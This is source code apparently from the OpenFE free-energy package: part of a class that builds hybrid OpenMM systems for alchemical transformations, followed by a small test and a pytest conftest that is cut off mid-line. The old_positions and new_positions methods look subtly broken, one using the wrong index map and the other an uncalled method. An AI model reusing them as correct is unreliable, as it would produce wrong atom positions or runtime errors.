adding steric terms here, too? self._hybrid_system_forces['standard_nonbonded_force'].addParticle( charge, sigma, epsilon ) # Now loop pairwise through (unique_old, unique_new) and add exceptions # so that they never interact electrostatically # (place into Nonbonded Force) unique_old_atoms = self._atom_classes['unique_old_atoms'] unique_new_atoms = self._atom_classes['unique_new_atoms'] for old in unique_old_atoms: for new in unique_new_atoms: self._hybrid_system_forces['standard_nonbonded_force'].addException( old, new, 0.0*unit.elementary_charge**2, 1.0*unit.nanometers, 0.0*unit.kilojoules_per_mole) # This is only necessary to avoid the 'All forces must have # identical exclusions' rule self._hybrid_system_forces['core_sterics_force'].addExclusion(old, new) self._handle_interaction_groups() self._handle_hybrid_exceptions() self._handle_original_exceptions() def _handle_interaction_groups(self): """ Create the appropriate interaction groups for the custom nonbonded forces. The groups are: 1) Unique-old - core 2) Unique-old - environment 3) Unique-new - core 4) Unique-new - environment 5) Core - environment 6) Core - core Unique-old and Unique new are prevented from interacting this way, and intra-unique interactions occur in an unmodified nonbonded force. Must be called after particles are added to the Nonbonded forces TODO: we should also be adding the following interaction groups... 7) Unique-new - Unique-new 8) Unique-old - Unique-old """ # Get the force objects for convenience: sterics_custom_force = self._hybrid_system_forces['core_sterics_force'] # Also prepare the atom classes core_atoms = self._atom_classes['core_atoms'] unique_old_atoms = self._atom_classes['unique_old_atoms'] unique_new_atoms = self._atom_classes['unique_new_atoms'] environment_atoms = self._atom_classes['environment_atoms'] sterics_custom_force.addInteractionGroup(unique_old_atoms, core_atoms) sterics_custom_force.addInteractionGroup(unique_old_atoms, environment_atoms) sterics_custom_force.addInteractionGroup(unique_new_atoms, core_atoms) sterics_custom_force.addInteractionGroup(unique_new_atoms, environment_atoms) sterics_custom_force.addInteractionGroup(core_atoms, environment_atoms) sterics_custom_force.addInteractionGroup(core_atoms, core_atoms) sterics_custom_force.addInteractionGroup(unique_new_atoms, unique_new_atoms) sterics_custom_force.addInteractionGroup(unique_old_atoms, unique_old_atoms) def _handle_hybrid_exceptions(self): """ Instead of excluding interactions that shouldn't occur, we provide exceptions for interactions that were zeroed out but should occur. """ # TODO - are these actually used anywhere? Flake8 says no old_system_nonbonded_force = self._old_system_forces['NonbondedForce'] new_system_nonbonded_force = self._new_system_forces['NonbondedForce'] # Prepare the atom classes unique_old_atoms = self._atom_classes['unique_old_atoms'] unique_new_atoms = self._atom_classes['unique_new_atoms'] # Get the list of interaction pairs for which we need to set exceptions unique_old_pairs = list(itertools.combinations(unique_old_atoms, 2)) unique_new_pairs = list(itertools.combinations(unique_new_atoms, 2)) # Add back the interactions of the old unique atoms, unless there are # exceptions for atom_pair in unique_old_pairs: # Since the pairs are indexed in the dictionary by the old system # indices, we need to convert old_index_atom_pair = (self._hybrid_to_old_map[atom_pair[0]], self._hybrid_to_old_map[atom_pair[1]]) # Now we check if the pair is in the exception dictionary if old_index_atom_pair in self._old_system_exceptions: [chargeProd, sigma, epsilon] = self._old_system_exceptions[old_index_atom_pair] # if we are interpolating 1,4 exceptions then we have to if self._interpolate_14s: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd*0.0, sigma, epsilon*0.0 ) else: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd, sigma, epsilon ) # Add exclusion to ensure exceptions are consistent self._hybrid_system_forces['core_sterics_force'].addExclusion( atom_pair[0], atom_pair[1] ) # Check if the pair is in the reverse order and use that if so elif old_index_atom_pair[::-1] in self._old_system_exceptions: [chargeProd, sigma, epsilon] = self._old_system_exceptions[old_index_atom_pair[::-1]] # If we are interpolating 1,4 exceptions then we have to if self._interpolate_14s: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd*0.0, sigma, epsilon*0.0 ) else: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd, sigma, epsilon) # Add exclusion to ensure exceptions are consistent self._hybrid_system_forces['core_sterics_force'].addExclusion( atom_pair[0], atom_pair[1]) # TODO: work out why there's a bunch of commented out code here # Exerpt: # If it's not handled by an exception in the original system, we # just add the regular parameters as an exception # TODO: this implies that the old-old nonbonded interactions (those # which are not exceptions) are always self-interacting throughout # lambda protocol... # Add back the interactions of the new unique atoms, unless there are # exceptions for atom_pair in unique_new_pairs: # Since the pairs are indexed in the dictionary by the new system # indices, we need to convert new_index_atom_pair = (self._hybrid_to_new_map[atom_pair[0]], self._hybrid_to_new_map[atom_pair[1]]) # Now we check if the pair is in the exception dictionary if new_index_atom_pair in self._new_system_exceptions: [chargeProd, sigma, epsilon] = self._new_system_exceptions[new_index_atom_pair] if self._interpolate_14s: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd*0.0, sigma, epsilon*0.0 ) else: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd, sigma, epsilon ) self._hybrid_system_forces['core_sterics_force'].addExclusion( atom_pair[0], atom_pair[1] ) # Check if the pair is present in the reverse order and use that if so elif new_index_atom_pair[::-1] in self._new_system_exceptions: [chargeProd, sigma, epsilon] = self._new_system_exceptions[new_index_atom_pair[::-1]] if self._interpolate_14s: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd*0.0, sigma, epsilon*0.0 ) else: self._hybrid_system_forces['standard_nonbonded_force'].addException( atom_pair[0], atom_pair[1], chargeProd, sigma, epsilon ) self._hybrid_system_forces['core_sterics_force'].addExclusion( atom_pair[0], atom_pair[1] ) # TODO: work out why there's a bunch of commented out code here # If it's not handled by an exception in the original system, we # just add the regular parameters as an exception @staticmethod def _find_exception(force, index1, index2): """ Find the exception that corresponds to the given indices in the given system Parameters ---------- force : openmm.NonbondedForce object System containing the exceptions index1 : int The index of the first atom (order is unimportant) index2 : int The index of the second atom (order is unimportant) Returns ------- exception_parameters : list List of exception parameters """ index_set = {index1, index2} # Loop through the exceptions and try to find one matching the criteria for exception_idx in range(force.getNumExceptions()): exception_parameters = force.getExceptionParameters(exception_idx) if index_set==set(exception_parameters[:2]): return exception_parameters return [] def _handle_original_exceptions(self): """ This method ensures that exceptions present in the original systems are present in the hybrid appropriately. """ # Get what we need to find the exceptions from the new and old systems: old_system_nonbonded_force = self._old_system_forces['NonbondedForce'] new_system_nonbonded_force = self._new_system_forces['NonbondedForce'] hybrid_to_old_map = self._hybrid_to_old_map hybrid_to_new_map = self._hybrid_to_new_map # First, loop through the old system's exceptions and add them to the # hybrid appropriately: for exception_pair, exception_parameters in self._old_system_exceptions.items(): [index1_old, index2_old] = exception_pair [chargeProd_old, sigma_old, epsilon_old] = exception_parameters # Get hybrid indices: index1_hybrid = self._old_to_hybrid_map[index1_old] index2_hybrid = self._old_to_hybrid_map[index2_old] index_set = {index1_hybrid, index2_hybrid} # In this case, the interaction is only covered by the regular # nonbonded force, and as such will be copied to that force # In the unique-old case, it is handled elsewhere due to internal # peculiarities regarding exceptions if index_set.issubset(self._atom_classes['environment_atoms']): self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_old, sigma_old, epsilon_old ) self._hybrid_system_forces['core_sterics_force'].addExclusion( index1_hybrid, index2_hybrid ) # We have already handled unique old - unique old exceptions elif len(index_set.intersection(self._atom_classes['unique_old_atoms'])) == 2: continue # Otherwise, check if one of the atoms in the set is in the # unique_old_group and the other is not: elif len(index_set.intersection(self._atom_classes['unique_old_atoms'])) == 1: if self._interpolate_14s: self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_old*0.0, sigma_old, epsilon_old*0.0 ) else: self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_old, sigma_old, epsilon_old ) self._hybrid_system_forces['core_sterics_force'].addExclusion( index1_hybrid, index2_hybrid ) # If the exception particles are neither solely old unique, solely # environment, nor contain any unique old atoms, they are either # core/environment or core/core # In this case, we need to get the parameters from the exception in # the other (new) system, and interpolate between the two else: # First get the new indices. index1_new = hybrid_to_new_map[index1_hybrid] index2_new = hybrid_to_new_map[index2_hybrid] # Get the exception parameters: new_exception_parms= self._find_exception( new_system_nonbonded_force, index1_new, index2_new) # If there's no new exception, then we should just set the # exception parameters to be the nonbonded parameters if not new_exception_parms: [charge1_new, sigma1_new, epsilon1_new] = new_system_nonbonded_force.getParticleParameters(index1_new) [charge2_new, sigma2_new, epsilon2_new] = new_system_nonbonded_force.getParticleParameters(index2_new) chargeProd_new = charge1_new * charge2_new sigma_new = 0.5 * (sigma1_new + sigma2_new) epsilon_new = unit.sqrt(epsilon1_new*epsilon2_new) else: [index1_new, index2_new, chargeProd_new, sigma_new, epsilon_new] = new_exception_parms # Interpolate between old and new exception_index = self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_old, sigma_old, epsilon_old ) self._hybrid_system_forces['standard_nonbonded_force'].addExceptionParameterOffset( 'lambda_electrostatics_core', exception_index, (chargeProd_new - chargeProd_old), 0, 0 ) self._hybrid_system_forces['standard_nonbonded_force'].addExceptionParameterOffset( 'lambda_sterics_core', exception_index, 0, (sigma_new - sigma_old), (epsilon_new - epsilon_old) ) self._hybrid_system_forces['core_sterics_force'].addExclusion( index1_hybrid, index2_hybrid ) # Now, loop through the new system to collect remaining interactions. # The only that remain here are uniquenew-uniquenew, uniquenew-core, # and uniquenew-environment. There might also be core-core, since not # all core-core exceptions exist in both for exception_pair, exception_parameters in self._new_system_exceptions.items(): [index1_new, index2_new] = exception_pair [chargeProd_new, sigma_new, epsilon_new] = exception_parameters # Get hybrid indices: index1_hybrid = self._new_to_hybrid_map[index1_new] index2_hybrid = self._new_to_hybrid_map[index2_new] index_set = {index1_hybrid, index2_hybrid} # If it's a subset of unique_new_atoms, then this is an # intra-unique interaction and should have its exceptions # specified in the regular nonbonded force. However, this is # handled elsewhere as above due to pecularities with exception # handling if index_set.issubset(self._atom_classes['unique_new_atoms']): continue # Look for the final class- interactions between uniquenew-core and # uniquenew-environment. They are treated similarly: they are # simply on and constant the entire time (as a valence term) elif len(index_set.intersection(self._atom_classes['unique_new_atoms'])) > 0: if self._interpolate_14s: self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_new*0.0, sigma_new, epsilon_new*0.0 ) else: self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_new, sigma_new, epsilon_new ) self._hybrid_system_forces['core_sterics_force'].addExclusion( index1_hybrid, index2_hybrid ) # However, there may be a core exception that exists in one system # but not the other (ring closure) elif index_set.issubset(self._atom_classes['core_atoms']): # Get the old indices try: index1_old = self._new_to_old_map[index1_new] index2_old = self._new_to_old_map[index2_new] except KeyError: continue # See if it's also in the old nonbonded force. if it is, then we don't need to add it. # But if it's not, we need to interpolate if not self._find_exception(old_system_nonbonded_force, index1_old, index2_old): [charge1_old, sigma1_old, epsilon1_old] = old_system_nonbonded_force.getParticleParameters(index1_old) [charge2_old, sigma2_old, epsilon2_old] = old_system_nonbonded_force.getParticleParameters(index2_old) chargeProd_old = charge1_old*charge2_old sigma_old = 0.5 * (sigma1_old + sigma2_old) epsilon_old = unit.sqrt(epsilon1_old*epsilon2_old) exception_index = self._hybrid_system_forces['standard_nonbonded_force'].addException( index1_hybrid, index2_hybrid, chargeProd_old, sigma_old, epsilon_old) self._hybrid_system_forces['standard_nonbonded_force'].addExceptionParameterOffset( 'lambda_electrostatics_core', exception_index, (chargeProd_new - chargeProd_old), 0, 0 ) self._hybrid_system_forces['standard_nonbonded_force'].addExceptionParameterOffset( 'lambda_sterics_core', exception_index, 0, (sigma_new - sigma_old), (epsilon_new - epsilon_old) ) self._hybrid_system_forces['core_sterics_force'].addExclusion( index1_hybrid, index2_hybrid ) def _handle_old_new_exceptions(self): """ Find the exceptions associated with old-old and old-core interactions, as well as new-new and new-core interactions. Theses exceptions will be placed in CustomBondedForce that will interpolate electrostatics and a softcore potential. TODO ---- * Move old_new_bond_exceptions to a dictionary or similar. """ old_new_nonbonded_exceptions = "U_electrostatics + U_sterics;" if self._softcore_LJ_v2: old_new_nonbonded_exceptions += "U_sterics = select(step(r - r_LJ), 4*epsilon*x*(x-1.0), U_sterics_quad);" old_new_nonbonded_exceptions += f"U_sterics_quad = Force*(((r - r_LJ)^2)/2 - (r - r_LJ)) + U_sterics_cut;" old_new_nonbonded_exceptions += f"U_sterics_cut = 4*epsilon*((sigma/r_LJ)^6)*(((sigma/r_LJ)^6) - 1.0);" old_new_nonbonded_exceptions += f"Force = -4*epsilon*((-12*sigma^12)/(r_LJ^13) + (6*sigma^6)/(r_LJ^7));" old_new_nonbonded_exceptions += f"x = (sigma/r)^6;" old_new_nonbonded_exceptions += f"r_LJ = softcore_alpha*((26/7)*(sigma^6)*lambda_sterics_deprecated)^(1/6);" old_new_nonbonded_exceptions += f"lambda_sterics_deprecated = new_interaction*(1.0 - lambda_sterics_insert) + old_interaction*lambda_sterics_delete;" else: old_new_nonbonded_exceptions += "U_sterics = 4*epsilon*x*(x-1.0); x = (sigma/reff_sterics)^6;" old_new_nonbonded_exceptions += "reff_sterics = sigma*((softcore_alpha*lambda_alpha + (r/sigma)^6))^(1/6);" old_new_nonbonded_exceptions += "reff_sterics = sigma*((softcore_alpha*lambda_alpha + (r/sigma)^6))^(1/6);" # effective softcore distance for sterics old_new_nonbonded_exceptions += "lambda_alpha = new_interaction*(1-lambda_sterics_insert) + old_interaction*lambda_sterics_delete;" old_new_nonbonded_exceptions += "U_electrostatics = (lambda_electrostatics_insert * unique_new + unique_old * (1 - lambda_electrostatics_delete)) * ONE_4PI_EPS0*chargeProd/r;" old_new_nonbonded_exceptions += "ONE_4PI_EPS0 = %f;" % ONE_4PI_EPS0 old_new_nonbonded_exceptions += "epsilon = (1-lambda_sterics)*epsilonA + lambda_sterics*epsilonB;" # interpolation old_new_nonbonded_exceptions += "sigma = (1-lambda_sterics)*sigmaA + lambda_sterics*sigmaB;" old_new_nonbonded_exceptions += "lambda_sterics = new_interaction*lambda_sterics_insert + old_interaction*lambda_sterics_delete;" old_new_nonbonded_exceptions += "new_interaction = delta(1-unique_new); old_interaction = delta(1-unique_old);" nonbonded_exceptions_force = openmm.CustomBondForce( old_new_nonbonded_exceptions) name = f"{nonbonded_exceptions_force.__class__.__name__}_exceptions" nonbonded_exceptions_force.setName(name) self._hybrid_system.addForce(nonbonded_exceptions_force) # For reference, set name in force dict self._hybrid_system_forces['old_new_exceptions_force'] = nonbonded_exceptions_force if self._softcore_LJ_v2: nonbonded_exceptions_force.addGlobalParameter( "softcore_alpha", self._softcore_LJ_v2_alpha ) else: nonbonded_exceptions_force.addGlobalParameter( "softcore_alpha", self._softcore_alpha ) # electrostatics insert nonbonded_exceptions_force.addGlobalParameter( "lambda_electrostatics_insert", 0.0 ) # electrostatics delete nonbonded_exceptions_force.addGlobalParameter( "lambda_electrostatics_delete", 0.0 ) # sterics insert nonbonded_exceptions_force.addGlobalParameter( "lambda_sterics_insert", 0.0 ) # steric delete nonbonded_exceptions_force.addGlobalParameter( "lambda_sterics_delete", 0.0 ) for parameter in ['chargeProd','sigmaA', 'epsilonA', 'sigmaB', 'epsilonB', 'unique_old', 'unique_new']: nonbonded_exceptions_force.addPerBondParameter(parameter) # Prepare for exceptions loop by grabbing nonbonded forces, # hybrid_to_old/new maps old_system_nonbonded_force = self._old_system_forces['NonbondedForce'] new_system_nonbonded_force = self._new_system_forces['NonbondedForce'] hybrid_to_old_map = self._hybrid_to_old_map hybrid_to_new_map = self._hybrid_to_new_map # First, loop through the old system's exceptions and add them to the # hybrid appropriately: for exception_pair, exception_parameters in self._old_system_exceptions.items(): [index1_old, index2_old] = exception_pair [chargeProd_old, sigma_old, epsilon_old] = exception_parameters # Get hybrid indices: index1_hybrid = self._old_to_hybrid_map[index1_old] index2_hybrid = self._old_to_hybrid_map[index2_old] index_set = {index1_hybrid, index2_hybrid} # Otherwise, check if one of the atoms in the set is in the # unique_old_group and the other is not: if (len(index_set.intersection(self._atom_classes['unique_old_atoms'])) > 0 and (chargeProd_old.value_in_unit_system(unit.md_unit_system) != 0.0 or epsilon_old.value_in_unit_system(unit.md_unit_system) != 0.0)): if self._interpolate_14s: # If we are interpolating 1,4s, then we anneal this term # off; otherwise, the exception force is constant and # already handled in the standard nonbonded force nonbonded_exceptions_force.addBond( index1_hybrid, index2_hybrid, [chargeProd_old, sigma_old, epsilon_old, sigma_old, epsilon_old*0.0, 1, 0] ) # Next, loop through the new system's exceptions and add them to the # hybrid appropriately for exception_pair, exception_parameters in self._new_system_exceptions.items(): [index1_new, index2_new] = exception_pair [chargeProd_new, sigma_new, epsilon_new] = exception_parameters # Get hybrid indices: index1_hybrid = self._new_to_hybrid_map[index1_new] index2_hybrid = self._new_to_hybrid_map[index2_new] index_set = {index1_hybrid, index2_hybrid} # Look for the final class- interactions between uniquenew-core and # uniquenew-environment. They are treated # similarly: they are simply on and constant the entire time # (as a valence term) if (len(index_set.intersection(self._atom_classes['unique_new_atoms'])) > 0 and (chargeProd_new.value_in_unit_system(unit.md_unit_system) != 0.0 or epsilon_new.value_in_unit_system(unit.md_unit_system) != 0.0)): if self._interpolate_14s: # If we are interpolating 1,4s, then we anneal this term # on; otherwise, the exception force is constant and # already handled in the standard nonbonded force nonbonded_exceptions_force.addBond( index1_hybrid, index2_hybrid, [chargeProd_new, sigma_new, epsilon_new*0.0, sigma_new, epsilon_new, 0, 1] ) def _compute_hybrid_positions(self): """ The positions of the hybrid system. Dimensionality is (n_environment + n_core + n_old_unique + n_new_unique), The positions are assigned by first copying all the mapped positions from the old system in, then copying the mapped positions from the new system. This means that there is an assumption that the positions common to old and new are the same (which is the case for perses as-is). Returns ------- hybrid_positions : np.ndarray [n, 3] Positions of the hybrid system, in nm """ # Get unitless positions old_pos_without_units = np.array( self._old_positions.value_in_unit(unit.nanometer)) new_pos_without_units = np.array( self._new_positions.value_in_unit(unit.nanometer)) # Determine the number of particles in the system n_atoms_hybrid = self._hybrid_system.getNumParticles() # Initialize an array for hybrid positions hybrid_pos_array = np.zeros([n_atoms_hybrid, 3]) # Loop through the old system indices, and assign positions. for old_idx, hybrid_idx in self._old_to_hybrid_map.items(): hybrid_pos_array[hybrid_idx, :] = old_pos_without_units[old_idx, :] # Do the same for new indices. Note that this overwrites some # coordinates, but as stated above, the assumption is that these are # the same. for new_idx, hybrid_idx in self._new_to_hybrid_map.items(): hybrid_pos_array[hybrid_idx, :] = new_pos_without_units[new_idx, :] return unit.Quantity(hybrid_pos_array, unit=unit.nanometers) def _create_mdtraj_topology(self): """ Create an MDTraj trajectory of the hybrid system. Note ---- This is purely for writing out trajectories and is not expected to be parametrized. TODO ---- * A lot of this can be simplified / reworked. """ old_top = mdt.Topology.from_openmm(self._old_topology) new_top = mdt.Topology.from_openmm(self._new_topology) hybrid_topology = copy.deepcopy(old_top) added_atoms = dict() # Get the core atoms in the new index system (as opposed to the hybrid # index system). We will need this later core_atoms_new_indices = set(self._core_old_to_new_map.values()) # Now, add each unique new atom to the topology (this is the same order # as the system) for particle_idx in self._unique_new_atoms: new_particle_hybrid_idx = self._new_to_hybrid_map[particle_idx] new_system_atom = new_top.atom(particle_idx) # First, we get the residue in the new system associated with this # atom new_system_res = new_system_atom.residue # Next, we have to enumerate the other atoms in that residue to # find mapped atoms new_system_atom_set = {atom.index for atom in new_system_res.atoms} # Now, we find the subset of atoms that are mapped. These must be # in the "core" category, since they are mapped and part of a # changing residue mapped_new_atom_indices = core_atoms_new_indices.intersection( new_system_atom_set) # Now get the old indices of the above atoms so that we can find # the appropriate residue in the old system for this we can use the # new to old atom map mapped_old_atom_indices = [self._new_to_old_map[atom_idx] for atom_idx in mapped_new_atom_indices] # We can just take the first one--they all have the same residue first_mapped_old_atom_index = mapped_old_atom_indices[0] # Get the atom object corresponding to this index from the hybrid # (which is a deepcopy of the old) mapped_hybrid_system_atom = hybrid_topology.atom( first_mapped_old_atom_index) # Get the residue that is relevant to this atom mapped_residue = mapped_hybrid_system_atom.residue # Add the atom using the mapped residue added_atoms[new_particle_hybrid_idx] = hybrid_topology.add_atom( new_system_atom.name, new_system_atom.element, mapped_residue) # Now loop through the bonds in the new system, and if the bond # contains a unique new atom, then add it to the hybrid topology for (atom1, atom2) in new_top.bonds: at1_hybrid_idx = self._new_to_hybrid_map[atom1.index] at2_hybrid_idx = self._new_to_hybrid_map[atom2.index] # If at least one atom is in the unique new class, we need to add # it to the hybrid system at1_uniq = at1_hybrid_idx in self._atom_classes['unique_new_atoms'] at2_uniq = at2_hybrid_idx in self._atom_classes['unique_new_atoms'] if at1_uniq or at2_uniq: if at1_uniq: atom1_to_bond = added_atoms[at1_hybrid_idx] else: old_idx = self._hybrid_to_old_map[at1_hybrid_idx] atom1_to_bond = hybrid_topology.atom(old_idx) if at2_uniq: atom2_to_bond = added_atoms[at2_hybrid_idx] else: old_idx = self._hybrid_to_old_map[at2_hybrid_idx] atom2_to_bond = hybrid_topology.atom(old_idx) hybrid_topology.add_bond(atom1_to_bond, atom2_to_bond) return hybrid_topology def _create_hybrid_topology(self): """ Create a hybrid openmm.app.Topology from the input old and new Topologies. Note ---- * This is not intended for parameterisation purposes, but instead for system visualisation. * Unlike the MDTraj Topology object, the residues of the alchemical species are not squashed. """ hybrid_top = app.Topology() # In the first instance, create a list of necessary atoms from # both old & new Topologies atom_list = [] for pidx in range(self.hybrid_system.getNumParticles()): if pidx in self._hybrid_to_old_map: idx = self._hybrid_to_old_map[pidx] atom_list.append(list(self._old_topology.atoms())[idx]) else: idx = self._hybrid_to_new_map[pidx] atom_list.append(list(self._new_topology.atoms())[idx]) # Now we loop over the atoms and add them in alongside chains & resids # Non ideal variables to track the previous set of residues & chains # without having to constantly search backwards prev_res = None prev_chain = None for at in atom_list: if at.residue.chain != prev_chain: hybrid_chain = hybrid_top.addChain() prev_chain = at.residue.chain if at.residue != prev_res: hybrid_residue = hybrid_top.addResidue( at.residue.name, hybrid_chain, at.residue.id ) prev_res = at.residue hybrid_atom = hybrid_top.addAtom( at.name, at.element, hybrid_residue, at.id ) # Next we deal with bonds # First we add in all the old topology bonds for bond in self._old_topology.bonds(): at1 = self.old_to_hybrid_atom_map[bond.atom1.index] at2 = self.old_to_hybrid_atom_map[bond.atom2.index] hybrid_top.addBond( list(hybrid_top.atoms())[at1], list(hybrid_top.atoms())[at2], bond.type, bond.order, ) # Finally we add in all the bonds from the unique atoms in the # new Topology for bond in self._new_topology.bonds(): at1 = self.new_to_hybrid_atom_map[bond.atom1.index] at2 = self.new_to_hybrid_atom_map[bond.atom2.index] if ((at1 in self._atom_classes['unique_new_atoms']) or (at2 in self._atom_classes['unique_new_atoms'])): hybrid_top.addBond( list(hybrid_top.atoms())[at1], list(hybrid_top.atoms())[at2], bond.type, bond.order, ) return hybrid_top def old_positions(self, hybrid_positions): """ From input hybrid positions, get the positions which would correspond to the old system Parameters ---------- hybrid_positions : [n, 3] np.ndarray or simtk.unit.Quantity The positions of the hybrid system Returns ------- old_positions : [m, 3] np.ndarray with unit The positions of the old system """ n_atoms_old = self._old_system.getNumParticles() # making sure hybrid positions are simtk.unit.Quantity objects if not isinstance(hybrid_positions, unit.Quantity): hybrid_positions = unit.Quantity(hybrid_positions, unit=unit.nanometer) old_positions = unit.Quantity(np.zeros([n_atoms_old, 3]), unit=unit.nanometer) for idx in range(n_atoms_old): hyb_idx = self._new_to_hybrid_map[idx] old_positions[idx, :] = hybrid_positions[hyb_idx, :] return old_positions def new_positions(self, hybrid_positions): """ From input hybrid positions, get the positions which could correspond to the new system. Parameters ---------- hybrid_positions : [n, 3] np.ndarray or simtk.unit.Quantity The positions of the hybrid system Returns ------- new_positions : [m, 3] np.ndarray with unit The positions of the new system """ n_atoms_new = self._new_system.getNumParticles # making sure hybrid positions are simtk.unit.Quantity objects if not isinstance(hybrid_positions, unit.Quantity): hybrid_positions = unit.Quantity(hybrid_positions, unit=unit.nanometer) new_positions = unit.Quantity(np.zeros([n_atoms_new, 3]), unit=unit.nanometer) for idx in range(n_atoms_new): hyb_idx = self._new_to_hybrid_map[idx] new_positions[idx, :] = hybrid_positions[hyb_idx, :] return new_positions @property def hybrid_system(self): """ The hybrid system. Returns ------- hybrid_system : openmm.System The system representing a hybrid between old and new topologies """ return self._hybrid_system @property def new_to_hybrid_atom_map(self): """ Give a dictionary that maps new system atoms to the hybrid system. Returns ------- new_to_hybrid_atom_map : dict of {int, int} The mapping of atoms from the new system to the hybrid """ return self._new_to_hybrid_map @property def old_to_hybrid_atom_map(self): """ Give a dictionary that maps old system atoms to the hybrid system. Returns ------- old_to_hybrid_atom_map : dict of {int, int} The mapping of atoms from the old system to the hybrid """ return self._old_to_hybrid_map @property def hybrid_positions(self): """ The positions of the hybrid system. Dimensionality is (n_environment + n_core + n_old_unique + n_new_unique). The positions are assigned by first copying all the mapped positions from the old system in, then copying the mapped positions from the new system. Returns ------- hybrid_positions : [n, 3] Quantity nanometers """ return self._hybrid_positions @property def hybrid_topology(self): """ An MDTraj hybrid topology for the purpose of writing out trajectories. Note that we do not expect this to be able to be parameterized by the openmm forcefield class. Returns ------- hybrid_topology : mdtraj.Topology """ return self._hybrid_topology @property def omm_hybrid_topology(self): """ An OpenMM format of the hybrid topology. Also cannot be used to parameterize system, only to write out trajectories. Returns ------- hybrid_topology : simtk.openmm.app.Topology .. versionchanged:: OpenFE 0.11 Now returns a Topology directly constructed from the input old / new Topologies, instead of trying to roundtrip an mdtraj topology. """ return self._omm_hybrid_topology @property def has_virtual_sites(self): """ Checks the hybrid system and tells us if we have any virtual sites. Returns ------- bool ``True`` if there are virtual sites, otherwise ``False``. """ for ix in range(self._hybrid_system.getNumParticles()): if self._hybrid_system.isVirtualSite(ix): return True return False <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from openfe.utils import without_oechem_backend from openff.toolkit import GLOBAL_TOOLKIT_REGISTRY, OpenEyeToolkitWrapper def test_remove_oechem(): original_tks = GLOBAL_TOOLKIT_REGISTRY.registered_toolkits original_n_tks = len(GLOBAL_TOOLKIT_REGISTRY.registered_toolkits) with without_oechem_backend(): for tk in GLOBAL_TOOLKIT_REGISTRY.registered_toolkits: assert not isinstance(tk, OpenEyeToolkitWrapper) assert len(GLOBAL_TOOLKIT_REGISTRY.registered_toolkits) == original_n_tks for ref_tk, tk in zip(original_tks, GLOBAL_TOOLKIT_REGISTRY.registered_toolkits): assert isinstance(tk, type(ref_tk)) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import os import importlib import pytest from importlib import resources from rdkit import Chem from rdkit.Chem import AllChem import gufe import openfe from gufe import SmallMoleculeComponent, LigandAtomMapping class SlowTests: """Plugin for handling fixtures that skips slow tests Fixtures -------- Currently two fixture types are handled: * `integration`: Extremely slow tests that are meant to be run to truly put the code through a real run. * `slow`: Unit tests that just take too long to be running regularly. How to use the fixtures ----------------------- To add these fixtures simply add `@pytest.mark.integration` or `@pytest.mark.slow` decorator to the relevant function or class. How to run tests marked by these fixtures ----------------------------------------- To run the `integration` tests, either use the `--integration` flag when invoking pytest, or set the environment variable `OFE_INTEGRATION_TESTS` to `true`. Note: triggering `integration` will automatically also trigger tests marked as `slow`. To run the `slow` tests, either use the `--runslow` flag when invoking pytest, or set the environment variable `OFE_SLOW_TESTS` to `true` """ def __init__(self, config): self.config = config @staticmethod def _modify_slow(items, config): msg = ("need --runslow pytest cli option or the environment variable " "`OFE_SLOW_TESTS` set to `True` to run") skip_slow = pytest.mark.skip(reason=msg) for item in items: if "slow" in item.keywords: item.add_marker(skip_slow) @staticmethod def _modify_integration(items, config): msg = ("need --integration pytest cli option or the environment " "variable `OFE_INTEGRATION_TESTS` set to `True` to run") skip_int = pytest.mark.skip(reason=msg) for item in items: if "integration" in item.keywords: item.add_marker(skip_int) def pytest_collection_modifyitems(self, items, config): if (config.getoption('--integration') or os.getenv("OFE_INTEGRATION_TESTS", default="false").lower() == 'true'): return elif (config.getoption('--runslow') or os.getenv("OFE_SLOW_TESTS", default="false").lower() == 'true'): self._modify_integration(items, config) else: self._modify_integration(items, config) self._modify_slow(items, config) # allow for optional slow tests # See: https://docs.pytest.org/en/latest/example/simple.html def pytest_addoption(parser): parser.addoption( "--runslow", action="store_true", default=False, help="run slow tests" ) parser.addoption( "--integration", action="store_true", default=False, help="run long integration tests", ) def pytest_configure(config): config.pluginmanager.register(SlowTests(config), "slow") config.addinivalue_line("markers", "slow: mark test as slow") config.addinivalue_line( "markers", "integration: mark test as long integration test") def mol_from_smiles(smiles: str) -> Chem.Mol: m = Chem.MolFromSmiles(smiles) AllChem.Compute2DCoords(m) return m @pytest.fixture(scope='session') def ethane(): return SmallMoleculeComponent(mol_from_smiles('CC')) @pytest.fixture(scope='session') def simple_mapping(): """Disappearing oxygen on end C C O C C """ molA = SmallMoleculeComponent(mol_from_smiles('CCO')) molB = SmallMoleculeComponent(mol_from_smiles('CC')) m = LigandAtomMapping(molA, molB, componentA_to_componentB={0: 0, 1: 1}) return m @pytest.fixture(scope='session') def other_mapping(): """Disappearing middle carbon C C O C C """ molA = SmallMoleculeComponent(mol_from_smiles('CCO')) molB = SmallMoleculeComponent(mol_from_smiles('CC')) m = LigandAtomMapping(molA, molB, componentA_to_componentB={0: 0, 2: 1}) return m @pytest.fixture() def lomap_basic_test_files_dir(tmpdir_factory): # for lomap, which wants the files in a directory lomap_files = tmpdir_factory.mktemp('lomap_files') lomap_basic = 'openfe.tests.data.lomap_basic' for f in importlib.resources.contents(lomap_basic): if not f.endswith('mol2'): continue stuff = 